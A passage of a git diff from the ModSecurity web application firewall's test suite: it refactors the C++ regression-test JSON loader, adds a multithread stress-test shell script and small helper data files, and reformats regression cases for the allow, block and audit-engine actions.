+ } + if (!test.m_automake_output && !test.m_count_all) { std::cout << test.header(); } @@ -529,8 +487,8 @@ int main(int argc, char **argv) { int counter = 0; std::list keyList; - for (std::pair *> a : test) { - keyList.push_back(a.first); + for (const auto &[name, tests] : test) { + keyList.push_back(name); } keyList.sort(); @@ -540,12 +498,12 @@ int main(int argc, char **argv) { } ModSecurityTestResults res; - for (std::string &a : keyList) { + for (const std::string &a : keyList) { test_number++; if ((test.m_test_number == 0) || (test_number == test.m_test_number)) { - std::vector *tests = test[a]; - perform_unit_test(&test, tests, &res, &counter); + const auto &tests = test[a]; + perform_unit_test(test, tests, &res, &counter); } } @@ -593,18 +551,10 @@ int main(int argc, char **argv) { } std::cout << KCYN << std::to_string(skipped) << " "; - std::cout << "skipped test(s). " << std::to_string(disabled) << " "; + std::cout << "skipped test(s). " << std::to_string(disabled) << " "; std::cout << "disabled test(s)." << RESET << std::endl; } - for (std::pair *> a : test) { - std::vector *vec = a.second; - for (int i = 0; i < vec->size(); i++) { - delete vec->at(i); - } - delete vec; - } - + return failed; #endif - return 0; } diff --git a/test/regression/regression_test.cc b/test/regression/regression_test.cc index 1580a0257f..18f61b64dc 100644 --- a/test/regression/regression_test.cc +++ b/test/regression/regression_test.cc @@ -20,6 +20,12 @@ #include #include #include +#include +#include + +#ifdef WITH_YAJL +#include +#endif namespace modsecurity_test { @@ -48,7 +54,7 @@ inline std::string RegressionTest::yajl_array_to_str(const yajl_val &node) { for (int z = 0; z < node->u.array.len; z++) { yajl_val val3 = node->u.array.values[z]; const char *key = YAJL_GET_STRING(val3); - i << key << "\n"; + i << key; } return i.str(); } @@ -79,134 +85,57 @@ inline std::vector> return vec; } +static inline void set_int_from_yajl(int &dest, std::string_view want_key, std::string_view key, const yajl_val &val) { + if (key == want_key) { + dest = YAJL_GET_INTEGER(val); + } +} + +static inline void set_opt_int_from_yajl(std::optional &dest, std::string_view want_key, std::string_view key, const yajl_val &val) { + if (key == want_key) { + dest = YAJL_GET_INTEGER(val); + } +} + +static inline void set_string_from_yajl(std::string &dest, std::string_view want_key, std::string_view key, const yajl_val &val) { + if (key == want_key) { + dest = YAJL_GET_STRING(val); + } +} -RegressionTest *RegressionTest::from_yajl_node(const yajl_val &node) { +std::unique_ptr RegressionTest::from_yajl_node(const yajl_val &node) { size_t nelem = node->u.object.len; - RegressionTest *u = new RegressionTest(); + auto u = std::make_unique(); u->http_code = 200; for (int i = 0; i < nelem; i++) { const char *key = node->u.object.keys[ i ]; yajl_val val = node->u.object.values[ i ]; - if (strcmp(key, "enabled") == 0) { - u->enabled = YAJL_GET_INTEGER(val); - } - if (strcmp(key, "version_min") == 0) { - u->version_min = YAJL_GET_INTEGER(val); - } - if (strcmp(key, "version_max") == 0) { - u->version_max = YAJL_GET_INTEGER(val); - } - if (strcmp(key, "title") == 0) { - u->title = YAJL_GET_STRING(val); - } - if (strcmp(key, "url") == 0) { - u->url = YAJL_GET_STRING(val); - } - if (strcmp(key, "resource") == 0) { - u->resource = YAJL_GET_STRING(val); - } - if (strcmp(key, "github_issue") == 0) { - u->github_issue = YAJL_GET_INTEGER(val); - } + set_int_from_yajl(u->enabled, "enabled", key, val); + set_int_from_yajl(u->version_min, "version_min", key, val); + set_opt_int_from_yajl(u->version_max, "version_max", key, val); + set_string_from_yajl(u->title, "title", key, val); + set_string_from_yajl(u->url, "url", key, val); + set_string_from_yajl(u->resource, "resource", key, val); + set_opt_int_from_yajl(u->github_issue, "github_issue", key, val); if (strcmp(key, "client") == 0) { - for (int j = 0; j < val->u.object.len; j++) { - const char *key2 = val->u.object.keys[j]; - yajl_val val2 = val->u.object.values[j]; - - if (strcmp(key2, "ip") == 0) { - u->clientIp = YAJL_GET_STRING(val2); - } - if (strcmp(key2, "port") == 0) { - u->clientPort = YAJL_GET_INTEGER(val2); - } - } + u->update_client_from_yajl_node(val); } if (strcmp(key, "server") == 0) { - for (int j = 0; j < val->u.object.len; j++) { - const char *key2 = val->u.object.keys[j]; - yajl_val val2 = val->u.object.values[j]; - - if (strcmp(key2, "ip") == 0) { - u->serverIp = YAJL_GET_STRING(val2); - } - if (strcmp(key2, "port") == 0) { - u->serverPort = YAJL_GET_INTEGER(val2); - } - } + u->update_server_from_yajl_node(val); } if (strcmp(key, "request") == 0) { - for (int j = 0; j < val->u.object.len; j++) { - const char *key2 = val->u.object.keys[j]; - yajl_val val2 = val->u.object.values[j]; - - if (strcmp(key2, "uri") == 0) { - u->uri = YAJL_GET_STRING(val2); - } - if (strcmp(key2, "method") == 0) { - u->method = YAJL_GET_STRING(val2); - } - if (strcmp(key2, "http_version") == 0) { - u->httpVersion = YAJL_GET_NUMBER(val2); - } - if (strcmp(key2, "headers") == 0) { - u->request_headers = yajl_array_to_map(val2); - } - if (strcmp(key2, "body") == 0) { - u->request_body = yajl_array_to_str(val2); - } - } + u->update_request_from_yajl_node(val); } if (strcmp(key, "response") == 0) { - for (int j = 0; j < val->u.object.len; j++) { - const char *key2 = val->u.object.keys[j]; - yajl_val val2 = val->u.object.values[j]; - - if (strcmp(key2, "headers") == 0) { - u->response_headers = yajl_array_to_map(val2); - } - if (strcmp(key2, "body") == 0) { - u->response_body = yajl_array_to_str(val2); - } - if (strcmp(key2, "protocol") == 0) { - u->response_protocol = YAJL_GET_STRING(val2); - } - } + u->update_response_from_yajl_node(val); } if (strcmp(key, "expected") == 0) { - for (int j = 0; j < val->u.object.len; j++) { - const char *key2 = val->u.object.keys[j]; - yajl_val val2 = val->u.object.values[j]; - - if (strcmp(key2, "audit_log") == 0) { - u->audit_log = YAJL_GET_STRING(val2); - } - if (strcmp(key2, "debug_log") == 0) { - u->debug_log = YAJL_GET_STRING(val2); - } - if (strcmp(key2, "error_log") == 0) { - u->error_log = YAJL_GET_STRING(val2); - } - if (strcmp(key2, "http_code") == 0) { - u->http_code = YAJL_GET_INTEGER(val2); - } - if (strcmp(key2, "redirect_url") == 0) { - u->redirect_url = YAJL_GET_STRING(val2); - } - if (strcmp(key2, "parser_error") == 0) { - u->parser_error = YAJL_GET_STRING(val2); - } - } + u->update_expected_from_yajl_node(val); } if (strcmp(key, "rules") == 0) { - std::stringstream si; - for (int j = 0; j < val->u.array.len; j++) { - yajl_val val2 = val->u.array.values[ j ]; - const char *keyj = YAJL_GET_STRING(val2); - si << keyj << "\n"; - } - u->rules = si.str(); + u->update_rules_from_yajl_node(val); } } @@ -215,4 +144,312 @@ RegressionTest *RegressionTest::from_yajl_node(const yajl_val &node) { return u; } +void RegressionTest::update_client_from_yajl_node(const yajl_val &val) { + for (int j = 0; j < val->u.object.len; j++) { + const char *key2 = val->u.object.keys[j]; + yajl_val val2 = val->u.object.values[j]; + + set_string_from_yajl(clientIp, "ip", key2, val2); + set_int_from_yajl(clientPort, "port", key2, val2); + } +} + +void RegressionTest::update_server_from_yajl_node(const yajl_val &val) { + for (int j = 0; j < val->u.object.len; j++) { + const char *key2 = val->u.object.keys[j]; + yajl_val val2 = val->u.object.values[j]; + + set_string_from_yajl(serverIp, "ip", key2, val2); + set_int_from_yajl(serverPort, "port", key2, val2); + set_string_from_yajl(hostname, "hostname", key2, val2); + } +} + +void RegressionTest::update_request_from_yajl_node(const yajl_val &val) { + for (int j = 0; j < val->u.object.len; j++) { + const char *key2 = val->u.object.keys[j]; + yajl_val val2 = val->u.object.values[j]; + + set_string_from_yajl(uri, "uri", key2, val2); + set_string_from_yajl(method, "method", key2, val2); + if (strcmp(key2, "http_version") == 0) { + httpVersion = YAJL_GET_NUMBER(val2); + } + if (strcmp(key2, "headers") == 0) { + request_headers = yajl_array_to_map(val2); + } + if (strcmp(key2, "body") == 0) { + request_body = yajl_array_to_str(val2); + request_body_lines = yajl_array_to_vec_str(val2); + } + } +} + +void RegressionTest::update_response_from_yajl_node(const yajl_val &val) { + for (int j = 0; j < val->u.object.len; j++) { + const char *key2 = val->u.object.keys[j]; + yajl_val val2 = val->u.object.values[j]; + + if (strcmp(key2, "headers") == 0) { + response_headers = yajl_array_to_map(val2); + } + if (strcmp(key2, "body") == 0) { + response_body = yajl_array_to_str(val2); + response_body_lines = yajl_array_to_vec_str(val2); + } + set_string_from_yajl(response_protocol, "protocol", key2, val2); + } +} + +void RegressionTest::update_expected_from_yajl_node(const yajl_val &val) { + for (int j = 0; j < val->u.object.len; j++) { + const char *key2 = val->u.object.keys[j]; + yajl_val val2 = val->u.object.values[j]; + + set_string_from_yajl(audit_log, "audit_log", key2, val2); + set_string_from_yajl(debug_log, "debug_log", key2, val2); + set_string_from_yajl(error_log, "error_log", key2, val2); + set_int_from_yajl(http_code, "http_code", key2, val2); + set_string_from_yajl(redirect_url, "redirect_url", key2, val2); + set_string_from_yajl(parser_error, "parser_error", key2, val2); + } +} + +void RegressionTest::update_rules_from_yajl_node(const yajl_val &val) { + std::stringstream si; + for (int j = 0; j < val->u.array.len; j++) { + yajl_val val2 = val->u.array.values[ j ]; + const char *keyj = YAJL_GET_STRING(val2); + si << keyj << "\n"; + } + rules = si.str(); + rules_lines = yajl_array_to_vec_str(val); +} + + +constexpr char ascii_tolower(char c) { + return 'A' <= c && c <= 'Z' ? (c + ('a' - 'A')) : c; +} + +bool iequals_ascii(std::string_view a, std::string_view b) { + return a.size() == b.size() && + std::equal(a.begin(), a.end(), b.begin(), b.end(), + [](char x, char y) { + return ascii_tolower(x) == ascii_tolower(y); + }); +} + +static bool has_chunked_header(const std::vector> &headers) { + return std::any_of(std::begin(headers), std::end(headers), + [](const auto &header) { + const auto &[name, value]{header}; + return iequals_ascii(name, "Transfer-Encoding") && iequals_ascii(value, "chunked"); + }); +} + +static void update_content_length(std::vector> &headers, size_t length) { + if (has_chunked_header(headers)) { + return; + } + + bool has_content_length = false; + for (auto &[name, value] : headers) { + if (iequals_ascii(name, "Content-Length")) { + value = std::to_string(length); + has_content_length = true; + } + } + if (!has_content_length) { + headers.emplace_back(std::pair{"Content-Length", std::to_string(length)}); + } +} + +void RegressionTest::update_content_lengths() { + update_content_length(request_headers, request_body.size()); + update_content_length(response_headers, response_body.size()); +} + +std::unique_ptr RegressionTests::from_yajl_node(const yajl_val &node) { + auto u = std::make_unique(); + size_t num_tests = node->u.array.len; + for (int i = 0; i < num_tests; i++) { + yajl_val obj = node->u.array.values[i]; + u->tests.emplace_back(std::move(RegressionTest::from_yajl_node(obj))); + } + return u; +} + +void RegressionTests::update_content_lengths() { + for (auto & test : tests) { + test->update_content_lengths(); + } +} + +#ifdef WITH_YAJL + +static yajl_gen_status gen_string_view(yajl_gen g, std::string_view s) { + return yajl_gen_string(g, reinterpret_cast(s.data()), s.length()); +} + +static yajl_gen_status gen_key_str(yajl_gen g, std::string_view key, std::string_view val) { + if (auto s{gen_string_view(g, key)}; s != yajl_gen_status_ok) { + return s; + } + return gen_string_view(g, val); +} + +static yajl_gen_status gen_key_str_if_non_empty(yajl_gen g, std::string_view key, std::string_view val) { + if (val.empty()) { + return yajl_gen_status_ok; + } + return gen_key_str(g, key, val); +} + +static yajl_gen_status gen_key_int(yajl_gen g, std::string_view key, int val) { + if (auto s{gen_string_view(g, key)}; s != yajl_gen_status_ok) { + return s; + } + return yajl_gen_integer(g, val); +} + +static yajl_gen_status gen_key_opt_int(yajl_gen g, std::string_view key, std::optional val) { + if (!val.has_value()) { + return yajl_gen_status_ok; + } + return gen_key_int(g, key, val.value()); +} + +static yajl_gen_status gen_key_int_if_non_zero(yajl_gen g, std::string_view key, int val) { + if (val == 0) { + return yajl_gen_status_ok; + } + return gen_key_int(g, key, val); +} + +static yajl_gen_status gen_key_number(yajl_gen g, std::string_view key, std::string_view raw_val) { + if (auto s{gen_string_view(g, key)}; s != yajl_gen_status_ok) { + return s; + } + return yajl_gen_number(g, reinterpret_cast(raw_val.data()), raw_val.length()); +} + +static yajl_gen_status gen_key_str_array(yajl_gen g, std::string_view key, const std::vector &lines) { + if (auto s{gen_string_view(g, key)}; s != yajl_gen_status_ok) { + return s; + } + if (auto s{yajl_gen_array_open(g)}; s != yajl_gen_status_ok) { + return s; + } + for (const auto &line : lines) { + if (auto s{gen_string_view(g, line)}; s != yajl_gen_status_ok) { + return s; + } + } + return yajl_gen_array_close(g); +} + +static yajl_gen_status gen_key_headers(yajl_gen g, std::string_view key, const std::vector> &headers) { + if (auto s{gen_string_view(g, key)}; s != yajl_gen_status_ok) { + return s; + } + if (auto s{yajl_gen_map_open(g)}; s != yajl_gen_status_ok) { + return s; + } + for (const auto &[name, value] : headers) { + if (auto s{gen_key_str(g, name, value)}; s != yajl_gen_status_ok) { + return s; + } + } + return yajl_gen_map_close(g); +} + +std::string RegressionTests::toJSON() const { + const unsigned char *buf; + size_t len; + yajl_gen g; + + g = yajl_gen_alloc(NULL); + if (g == NULL) { + return ""; + } + yajl_gen_config(g, yajl_gen_beautify, 1); + yajl_gen_config(g, yajl_gen_indent_string, " "); + + yajl_gen_array_open(g); + for (const auto &t : tests) { + yajl_gen_map_open(g); + gen_key_int(g, "enabled", t->enabled); + gen_key_int(g, "version_min", t->version_min); + gen_key_opt_int(g, "version_max", t->version_max); + gen_key_str(g, "title", t->title); + gen_key_str_if_non_empty(g, "url", t->url); + gen_key_str_if_non_empty(g, "resource", t->resource); + gen_key_opt_int(g, "github_issue", t->github_issue); + + gen_string_view(g, "client"); + yajl_gen_map_open(g); + gen_key_str(g, "ip", t->clientIp); + gen_key_int(g, "port", t->clientPort); + yajl_gen_map_close(g); + + gen_string_view(g, "server"); + yajl_gen_map_open(g); + gen_key_str(g, "ip", t->serverIp); + gen_key_int(g, "port", t->serverPort); + yajl_gen_map_close(g); + + gen_string_view(g, "request"); + yajl_gen_map_open(g); + gen_key_headers(g, "headers", t->request_headers); + gen_key_str(g, "uri", t->uri); + gen_key_str(g, "method", t->method); + if (!t->httpVersion.empty()) { + gen_key_number(g, "http_version", t->httpVersion); + } + + auto request_body_lines{t->request_body_lines}; + if (request_body_lines.empty()) { + request_body_lines.emplace_back(""); + } + gen_key_str_array(g, "body", request_body_lines); + + yajl_gen_map_close(g); + + gen_string_view(g, "response"); + yajl_gen_map_open(g); + gen_key_headers(g, "headers", t->response_headers); + + auto response_body_lines{t->response_body_lines}; + if (response_body_lines.empty()) { + response_body_lines.emplace_back(""); + } + gen_key_str_array(g, "body", response_body_lines); + + gen_key_str_if_non_empty(g, "protocol", t->response_protocol); + yajl_gen_map_close(g); + + gen_string_view(g, "expected"); + yajl_gen_map_open(g); + gen_key_str_if_non_empty(g, "audit_log", t->audit_log); + gen_key_str_if_non_empty(g, "debug_log", t->debug_log); + gen_key_str_if_non_empty(g, "error_log", t->error_log); + gen_key_int(g, "http_code", t->http_code); + gen_key_str_if_non_empty(g, "redirect_url", t->redirect_url); + gen_key_str_if_non_empty(g, "parser_error", t->parser_error); + yajl_gen_map_close(g); + + gen_key_str_array(g, "rules", t->rules_lines); + + yajl_gen_map_close(g); + } + yajl_gen_array_close(g); + + yajl_gen_get_buf(g, &buf, &len); + std::string s{reinterpret_cast(buf), len}; + yajl_gen_free(g); + return s; +} + +#endif // WITH_YAJL + } // namespace modsecurity_test diff --git a/test/regression/regression_test.h b/test/regression/regression_test.h index 5ed93b86f9..2446bc0923 100644 --- a/test/regression/regression_test.h +++ b/test/regression/regression_test.h @@ -17,11 +17,12 @@ #include #include -#include #include #include #include #include +#include +#include #ifndef TEST_REGRESSION_REGRESSION_TEST_H_ #define TEST_REGRESSION_REGRESSION_TEST_H_ @@ -31,7 +32,7 @@ namespace modsecurity_test { class RegressionTest { public: - static RegressionTest *from_yajl_node(const yajl_val &); + static std::unique_ptr from_yajl_node(const yajl_val &node); static std::string print(); std::string filename; @@ -41,10 +42,10 @@ class RegressionTest { std::string rules; std::string url; - int enabled; - int version_min; - int version_max; - int github_issue; + int enabled = 0; + int version_min = 0; + std::optional version_max; + std::optional github_issue; std::vector> request_headers; std::vector> response_headers; @@ -59,8 +60,9 @@ class RegressionTest { std::string clientIp; std::string serverIp; - int clientPort; - int serverPort; + int clientPort = 0; + int serverPort = 0; + std::string hostname; std::string method; std::string httpVersion; @@ -73,10 +75,36 @@ class RegressionTest { static inline std::vector> yajl_array_to_map(const yajl_val &node); - int http_code; + int http_code = 0; std::string redirect_url; + + // fields for formatting JSON + + std::vector request_body_lines; + std::vector response_body_lines; + std::vector rules_lines; + void update_content_lengths(); + +private: + void update_client_from_yajl_node(const yajl_val &val); + void update_server_from_yajl_node(const yajl_val &val); + void update_request_from_yajl_node(const yajl_val &val); + void update_response_from_yajl_node(const yajl_val &val); + void update_expected_from_yajl_node(const yajl_val &val); + void update_rules_from_yajl_node(const yajl_val &val); }; +class RegressionTests { + public: + static std::unique_ptr from_yajl_node(const yajl_val &node); + void update_content_lengths(); + std::string toJSON() const; + + std::string filename; + std::string name; + + std::vector> tests; +}; class RegressionTestResult { public: diff --git a/test/stress/inspectfile_multithread_stress.sh b/test/stress/inspectfile_multithread_stress.sh new file mode 100755 index 0000000000..646a96c02a --- /dev/null +++ b/test/stress/inspectfile_multithread_stress.sh @@ -0,0 +1,53 @@ +#!/bin/sh +set -eu + +SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) +REPO_ROOT=$(CDPATH= cd -- "$SCRIPT_DIR/../.." && pwd) +EXAMPLE_DIR="$REPO_ROOT/examples/multithread" +BIN="$EXAMPLE_DIR/multithread" +RULES="$EXAMPLE_DIR/inspectfile_rules.conf" +THREADS="${1:-60}" +ITERATIONS="${2:-120}" +TIMEOUT_SECS="${3:-90}" + +if [ ! -x "$BIN" ]; then + echo "stress-test: missing binary $BIN" >&2 + echo "build it first (e.g. make -C examples/multithread multithread)" >&2 + exit 2 +fi + +TMP_OUT=$(mktemp) +trap 'rm -f "$TMP_OUT"' EXIT + +cd "$EXAMPLE_DIR" +set +e +if command -v timeout >/dev/null 2>&1; then + timeout "$TIMEOUT_SECS" "$BIN" "$RULES" "$THREADS" "$ITERATIONS" >"$TMP_OUT" 2>&1 +else + echo "stress-test: warning: 'timeout' command not found, running without timeout" >&2 + "$BIN" "$RULES" "$THREADS" "$ITERATIONS" >"$TMP_OUT" 2>&1 +fi +STATUS=$? +set -e +if [ "$STATUS" -ne 0 ]; then + echo "stress-test: process exit status=$STATUS" >&2 + cat "$TMP_OUT" >&2 + exit "$STATUS" +fi + +EXPECTED="completed_threads=$THREADS" +if ! grep -q "$EXPECTED" "$TMP_OUT"; then + echo "stress-test: missing expected marker: $EXPECTED" >&2 + cat "$TMP_OUT" >&2 + exit 3 +fi + +if grep -q "open_fds_before=" "$TMP_OUT" && grep -q "open_fds_after=" "$TMP_OUT"; then + BEFORE=$(grep 'open_fds_before=' "$TMP_OUT" | tail -n1 | cut -d= -f2) + AFTER=$(grep 'open_fds_after=' "$TMP_OUT" | tail -n1 | cut -d= -f2) + DELTA=$((AFTER - BEFORE)) + echo "fd_delta=$DELTA" +fi + +echo "stress-test: ok" +cat "$TMP_OUT" diff --git a/test/test-cases/data/inspectfile-not-executable.txt b/test/test-cases/data/inspectfile-not-executable.txt new file mode 100644 index 0000000000..47fc7a5288 --- /dev/null +++ b/test/test-cases/data/inspectfile-not-executable.txt @@ -0,0 +1 @@ +this file is intentionally not executable diff --git a/test/test-cases/data/inspectfile-posix-helper.sh b/test/test-cases/data/inspectfile-posix-helper.sh new file mode 100755 index 0000000000..7e3c02cc5f --- /dev/null +++ b/test/test-cases/data/inspectfile-posix-helper.sh @@ -0,0 +1,18 @@ +#!/bin/sh + +if [ "$1" = "match" ]; then + echo 0 + exit 0 +fi + +if [ "$1" = "nomatch" ]; then + echo 1 + exit 0 +fi + +if [ "$1" = "stderr-only" ]; then + echo 0 1>&2 + exit 0 +fi + +exit 7 diff --git a/test/test-cases/data/match-getvars-args.lua b/test/test-cases/data/match-getvars-args.lua new file mode 100644 index 0000000000..c02784e733 --- /dev/null +++ b/test/test-cases/data/match-getvars-args.lua @@ -0,0 +1,13 @@ +function main() + local d = m.getvars("ARGS"); + local size = #d; + m.log(9,"ARGS count read =" .. tostring(size)); + + ret = nil + + if ( #d == 2 ) then + return nil + end + + return "Unexpected result" +end diff --git a/test/test-cases/data/match-getvars.lua b/test/test-cases/data/match-getvars.lua index ab840b67d8..8487ff4ddb 100644 --- a/test/test-cases/data/match-getvars.lua +++ b/test/test-cases/data/match-getvars.lua @@ -2,8 +2,14 @@ function dump(o) if type(o) == 'table' then local s = '{ ' for k,v in pairs(o) do - if type(k) ~= 'number' then k = '"'..k..'"' end - s = s .. '['..k..'] = ' .. dump(v) .. ',' + -- In Lua 5.5, generic-for loop variables (k and v) are read-only, + -- so we copy k into a local before formatting. This works in earlier + -- Lua versions too. + local key_str = k + if type(key_str) ~= 'number' then + key_str = '"'..key_str..'"' + end + s = s .. '['..key_str..'] = ' .. dump(v) .. ',' end return s .. '} ' else diff --git a/test/test-cases/data/pattern-file1.data b/test/test-cases/data/pattern-file1.data new file mode 100644 index 0000000000..f6533b3ddb --- /dev/null +++ b/test/test-cases/data/pattern-file1.data @@ -0,0 +1,2 @@ +# comment +pattern1 \ No newline at end of file diff --git a/test/test-cases/data/pattern-file2.data b/test/test-cases/data/pattern-file2.data new file mode 100644 index 0000000000..be3c95d1d4 --- /dev/null +++ b/test/test-cases/data/pattern-file2.data @@ -0,0 +1,2 @@ +# comment +pattern2 diff --git a/test/test-cases/regression/action-allow.json b/test/test-cases/regression/action-allow.json index 357d451bca..c0ae4603d4 100644 --- a/test/test-cases/regression/action-allow.json +++ b/test/test-cases/regression/action-allow.json @@ -1,98 +1,132 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing allow action (1/3)", - "expected":{ - "debug_log": "Skipped rule id 'action-allow.json:3' as request trough the utilization of an `allow' action", - "http_code": 200 + "enabled": 1, + "version_min": 300000, + "title": "Testing allow action (1/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "rules":[ + "expected": { + "debug_log": "Skipped rule id 'action-allow.json:3' as request trough the utilization of an `allow' action", + "http_code": 200 + }, + "rules": [ "SecRuleEngine On", "SecAction \"phase:1,allow,msg:'ALLOWED',id:500065\"", "SecAction \"phase:1,deny,msg:'DENIED',id:500066\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing allow action (2/3)", - "expected":{ - "debug_log": "", - "http_code": 500 + "enabled": 1, + "version_min": 300000, + "title": "Testing allow action (2/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 500 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecAction \"phase:1,allow:request,msg:'ALLOWED',id:500065\"", "SecRule ARGS \"@contains value\" \"id:1,t:trim,status:500,deny,phase:3\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing allow action (3/3)", - "expected":{ - "debug_log": "", - "http_code": 500 + "enabled": 1, + "version_min": 300000, + "title": "Testing allow action (3/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 500 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecAction \"phase:1,allow:phase,msg:'ALLOWED',id:500065\"", "SecRule ARGS \"@contains value\" \"id:1,t:trim,status:500,deny,phase:3\"" diff --git a/test/test-cases/regression/action-block.json b/test/test-cases/regression/action-block.json index 239df02715..917d985581 100644 --- a/test/test-cases/regression/action-block.json +++ b/test/test-cases/regression/action-block.json @@ -1,63 +1,88 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing 'block' action without desruptive action", - "expected":{ - "parser_error": "Line: 1. Column: 16. SecDefaultAction must specify a disruptive action." + "enabled": 1, + "version_min": 300000, + "title": "Testing 'block' action without desruptive action", + "client": { + "ip": "200.249.12.31", + "port": 12300 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "client":{ - "ip":"200.249.12.31", - "port":12300 + "request": { + "headers": { + "Host": "a.b.com", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" + }, + "uri": "/path1", + "method": "GET", + "body": [ + "" + ] }, - "request":{ - "headers":{ - "Host":"a.b.com", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/path1", - "method":"GET" + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "http_code": 200, + "parser_error": "Line: 1. Column: 16. SecDefaultAction must specify a disruptive action." }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:1,log,block,status:404\"", "SecRule REQUEST_URI \"@contains path1\" \"phase:1,block,id:5\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing 'block' action with desruptive action", - "expected":{ - "http_code": 400 + "enabled": 1, + "version_min": 300000, + "title": "Testing 'block' action with desruptive action", + "client": { + "ip": "200.249.12.31", + "port": 12300 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "client":{ - "ip":"200.249.12.31", - "port":12300 + "request": { + "headers": { + "Host": "a.b.com", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "User-Agent": "My sweet little browser", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Content-Length": "0" + }, + "uri": "/path1", + "method": "GET", + "body": [ + "" + ] }, - "request":{ - "headers":{ - "Host":"a.b.com", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "User-Agent":"My sweet little browser", - "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120" + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/path1", - "method":"GET" + "body": [ + "" + ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "http_code": 400 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecDefaultAction \"phase:1,log,block,deny,status:400\"", "SecRule REQUEST_URI \"@contains path1\" \"phase:1,block,id:5\"" diff --git a/test/test-cases/regression/action-ctl_audit_engine.json b/test/test-cases/regression/action-ctl_audit_engine.json index 3848ee7e55..c1f5ec86f4 100644 --- a/test/test-cases/regression/action-ctl_audit_engine.json +++ b/test/test-cases/regression/action-ctl_audit_engine.json @@ -15,24 +15,34 @@ "request": { "headers": { "Host": "www.modsecurity.org", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive": "300", "Connection": "keep-alive", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": 